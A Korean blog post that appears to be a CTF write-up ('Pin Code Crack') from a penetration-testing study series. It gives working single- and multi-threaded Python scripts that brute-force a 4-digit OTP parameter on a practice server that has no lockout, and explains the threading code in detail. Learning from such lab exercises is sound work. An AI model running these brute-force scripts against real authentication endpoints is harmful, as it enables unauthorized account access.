Almon Dev

ctf 풀이 (Pin Code Crack) 본문

모의해킹/모의해킹

ctf 풀이 (Pin Code Crack)

Almon 2024. 11. 20. 14:04

ctf 문제 풀이

 

Pin Code Crack

 

풀이

1> 1111 보내보기

checkOTP.php에  get으로 핀번호를 보내는 것을 확인했습니다.

 

2> 공격방법 생각해 보기

핀번호의 범위가 정해져 있고, 여러 번 시도해도 잠금이 걸리지 않으니 브루트 포스 공격이 적당할 것 같습니다.

버프스위트의 intruder를 이용해서 시도해 보겠습니다.

 

3> burp suite

/6/checkOTP.php?otpNum=§1111§의 §사이의 값을 0000부터 9999까지 1씩 증가하면서 요청을 보냅니다.

그런데 무료버전의 burp는 매우 느리기 때문에 python을 사용하도록 하겠습니다.

 

4> python

실패했을 때의 응답인 <script>alert('Login Fail...');</script><script>location.href='login.php';</script>와 비교해서

다른 응답이 온다면 반복문을 멈추고 결과를 출력합니다.

1021을 입력하면 index.php로 이동하라는 응답이 옵니다.

import requests

url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
result = ""
fail_text = "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>"

for i in range(0000, 10000):
    response = requests.get(url+f"{i:04d}")
    print(f"{i:04d} Response : {response.text}")
    if fail_text != response.text:
        result = i
        break
print(f"PIN NUMBER : {result}")

 

5> 스레드를 이용하기

python을 이용해도 한 번에 1개의 요청만 보내서 9999까지 매우 오랜 시간이 걸립니다.

10개의 스레드를 이용해서 0000-1000, 1000-2000 같은 식으로 일을 나눠서 진행하겠습니다.

import requests
import threading

url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
result = ""
fail_text = "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>"

threads = []
threads_count = 10
lock = threading.Lock()
stop_event = threading.Event()
max_num = 10000
num_per_thread = max_num // threads_count

def brute_force(start, end, stop_event):
    for i in range(start, end):
        if stop_event.is_set():
            break
        response = requests.get(url+f"{i:04d}")
        with lock:
            print(f"{i:04d} Response : {response.text}")
        if fail_text != response.text:
            global result
            stop_event.set()
            result = i
            break

for thread_num in range(threads_count):
    start = thread_num * num_per_thread
    end = start + num_per_thread

    t = threading.Thread(target=brute_force, args=(start, end, stop_event))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print(f"PIN NUMBER : {result}")

 

stop_event = threading.Event()
def brute_force(start, end, stop_event):
    for i in range(start, end):
        if stop_event.is_set():

brute_force 함수는 시작하는 수와 끝나는 수, stop_event가 있습니다.

 

    for i in range(start, end):
        if stop_event.is_set():
            break
        response = requests.get(url+f"{i:04d}")

start와 end사이의 숫자를 i에 넣으면서 반복문을 돕니다.

stop_event가 set 되면 반복문을 종료합니다.

 

        with lock:
            print(f"{i:04d} Response : {response.text}")

스레드들이 동시에 출력해서 결과가 섞이는 것을 막기 위해 with lock을 사용합니다.

 

        if fail_text != response.text:
            global result
            stop_event.set()
            result = i
            break

실패응답과 다른 응답이 온다면 stop_event를 set 하고 result에 핀번호를 넣고 반복문을 종료합니다.

 

for thread_num in range(threads_count):
    start = thread_num * num_per_thread
    end = start + num_per_thread

    t = threading.Thread(target=brute_force, args=(start, end, stop_event))
    threads.append(t)
    t.start()

스레드를 생성하고 threads 리스트에 추가하고 스레드를 실행합니다.

 

for t in threads:
    t.join()

스레드가 모두 종료될 때까지 기다립니다.

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (SQL Injection 1)  (0) 2024.11.23
모의해킹 공부 (6주차 정리)  (0) 2024.11.22
ctf 풀이 (admin is mine)  (1) 2024.11.19
ctf 풀이 (Secret Login)  (2) 2024.11.18
ctf 풀이 (Login Bypass 4)  (0) 2024.11.18